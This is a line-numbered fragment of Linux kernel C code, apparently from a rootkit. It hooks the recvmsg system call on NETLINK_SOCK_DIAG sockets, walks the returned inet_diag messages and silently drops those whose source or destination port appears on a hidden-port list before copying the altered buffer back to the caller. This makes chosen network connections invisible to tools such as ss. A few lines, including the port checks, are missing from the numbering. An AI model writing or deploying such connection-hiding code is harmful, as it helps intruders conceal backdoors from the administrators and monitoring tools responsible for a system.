156 {
157
159 if (ret <= 0)
160 return ret;
161
162
163 int fd = regs->di;
164 struct file *f = fget(fd);
165 if (!f)
166 return ret;
167
168
169 struct socket *sock = f->private_data;
170 struct sock *sk = sock ? sock->sk : NULL;
171
172
173
174 if (!sk || sk->sk_family != AF_NETLINK || sk->sk_protocol != NETLINK_SOCK_DIAG) {
175 fput(f);
176 return ret;
177 }
178 fput(f);
179
180
181 struct user_msghdr umh;
182 if (copy_from_user(&umh, (void __user *)regs->si, sizeof(umh)))
183 return ret;
184
185 if (umh.msg_iovlen != 1)
186 return ret;
187
188
189 struct iovec kv;
190 if (copy_from_user(&kv, umh.msg_iov, sizeof(kv)))
191 return ret;
192
193
194 char *in = kmalloc(ret, GFP_KERNEL);
195 if (!in)
196 return ret;
197 if (copy_from_user(in, kv.iov_base, ret)) {
198 kfree(in);
199 return ret;
200 }
201
202
203 char *out = kmalloc(ret, GFP_KERNEL);
204 if (!out) {
205 kfree(in);
206 return ret;
207 }
208
209
210 size_t out_len = 0;
211 long remaining = ret;
212 for (struct nlmsghdr *nlh = (void *)in; NLMSG_OK(nlh, remaining);
213 nlh = NLMSG_NEXT(nlh, remaining)) {
214
215 if (nlh->nlmsg_type == NLMSG_DONE) {
216 memcpy(out + out_len, nlh, nlh->nlmsg_len);
217 out_len += nlh->nlmsg_len;
218 break;
219 }
220
221
222 if (nlh->nlmsg_type == SOCK_DIAG_BY_FAMILY) {
223 struct inet_diag_msg *d = NLMSG_DATA(nlh);
224 int sport = ntohs(d->id.idiag_sport);
225 int dport = ntohs(d->id.idiag_dport);
226
227
228 char port_str[8];
229 snprintf(port_str, sizeof(port_str), "%u", sport);
231 continue;
232
233 snprintf(port_str, sizeof(port_str), "%u", dport);
235 continue;
236 }
237
238
239 memcpy(out + out_len, nlh, nlh->nlmsg_len);
240 out_len += nlh->nlmsg_len;
241 }
242
243
244 size_t err = copy_to_user(kv.iov_base, out, out_len);
245 if (err) {
246
247 }
248
249 kfree(in);
250 kfree(out);
251
252
253 return out_len;
254}
asmlinkage long(* __orig_recvmsg)(const struct pt_regs *regs)
int port_contains(const char *port)